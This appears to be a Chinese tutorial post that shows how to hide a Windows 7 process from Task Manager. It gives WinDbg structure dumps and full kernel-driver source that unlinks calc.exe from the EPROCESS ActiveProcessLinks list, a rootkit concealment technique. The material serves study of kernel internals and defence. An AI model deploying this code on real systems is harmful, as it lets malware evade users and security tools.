我们可以通过遍历EProcess结构体中的双向链表ActiveProcessLinks,找到目标进程结点后将该节点从双向链表中移除,便实现了进程隐藏的目的,此时打开win7的任务管理器会发现运行的calc进程并没有显示。
使用windbg查看EProcess结构:
2: kd> !process 0 0
//crtl+F查找explorer
PROCESS 892b9d40 SessionId: 1 Cid: 09e8 Peb: 7ffdd000 ParentCid: 09b8
DirBase: 7e2f4480 ObjectTable: 983c85a0 HandleCount: 622.
Image: explorer.exe
2: kd> dt _eprocess 892b9d40
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER 0x01d3b06d`2b360a55
+0x0a8 ExitTime : _LARGE_INTEGER 0x0
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : 0x000009e8 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0x893060e8 - 0x892b62a8 ]
2: kd> dt _LIST_ENTRY
nt!_LIST_ENTRY
+0x000 Flink : Ptr32 _LIST_ENTRY
+0x004 Blink : Ptr32 _LIST_ENTRY
Ring.0文件:
#pragma once#include<fltKernel.h>#define ACTIVEPROCESSLINKS 0x0b8 //进程的双向链表
#define IMAGEFILENAME_EPROCESS 0x16c //进程名称BOOLEAN HideProcess(char* ProcessNameData);//驱动卸载派遣例程
void DriverUnload(PDRIVER_OBJECT DriverObject);
Ring0.c文件:
#include"HideProcess.h"//入口函数
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegisterPath)
{DbgPrint("HelloDriver\r\n");//参数为指针型 并且未使用 需要告诉编译器可以释放内存UNREFERENCED_PARAMETER(RegisterPath);NTSTATUS Status = STATUS_SUCCESS;//驱动卸载派遣例程 DriverObject->DriverUnload = DriverUnload;//函数指针赋值if (HideProcess("calc.exe") == FALSE){DbgPrint("No Exit\r\n");}return Status;
}BOOLEAN HideProcess(char * ProcessNameData)
{PLIST_ENTRY ListEntry = NULL;PEPROCESS EProcess = NULL;PEPROCESS v1 = NULL;//游走PEPROCESS EmptyEProcess = NULL;char* ImageFileName = NULL;//获得当前进程的_eprocess地址 (驱动都运行在第一进程System.exe)EProcess = PsGetCurrentProcess();if (EProcess == NULL){return FALSE;}//游走指针v1 = EProcess;//双向链表的地址ListEntry = (PLIST_ENTRY)((UINT8*)EProcess + ACTIVEPROCESSLINKS);//上一个_eprocess的首地址 System.exe进程上一个是空头节点EmptyEProcess = (PEPROCESS)((((ULONG_PTR)ListEntry->Blink)) - ACTIVEPROCESSLINKS);ListEntry = NULL;while (v1!=EmptyEProcess)//游走指针不是空头节点{//获得进程名称ImageFileName = (char*)((UINT8*)v1 + IMAGEFILENAME_EPROCESS);//获得双向链表的地址ListEntry = (PLIST_ENTRY)((ULONG_PTR)v1 + ACTIVEPROCESSLINKS);if (strstr(ImageFileName, ProcessNameData) != NULL){if (ListEntry != NULL){//找到目标进程 从双向链表中移除RemoveEntryList(ListEntry);break;}}//游走指针指向下一个进程的_eprocess地址v1 = (PEPROCESS)(((ULONG_PTR)(ListEntry->Flink)) - ACTIVEPROCESSLINKS);}return TRUE;
}//驱动卸载派遣例程
void DriverUnload(PDRIVER_OBJECT DriverObject)
{UNREFERENCED_PARAMETER(DriverObject);DbgPrint("DriverUnload()\r\n");
}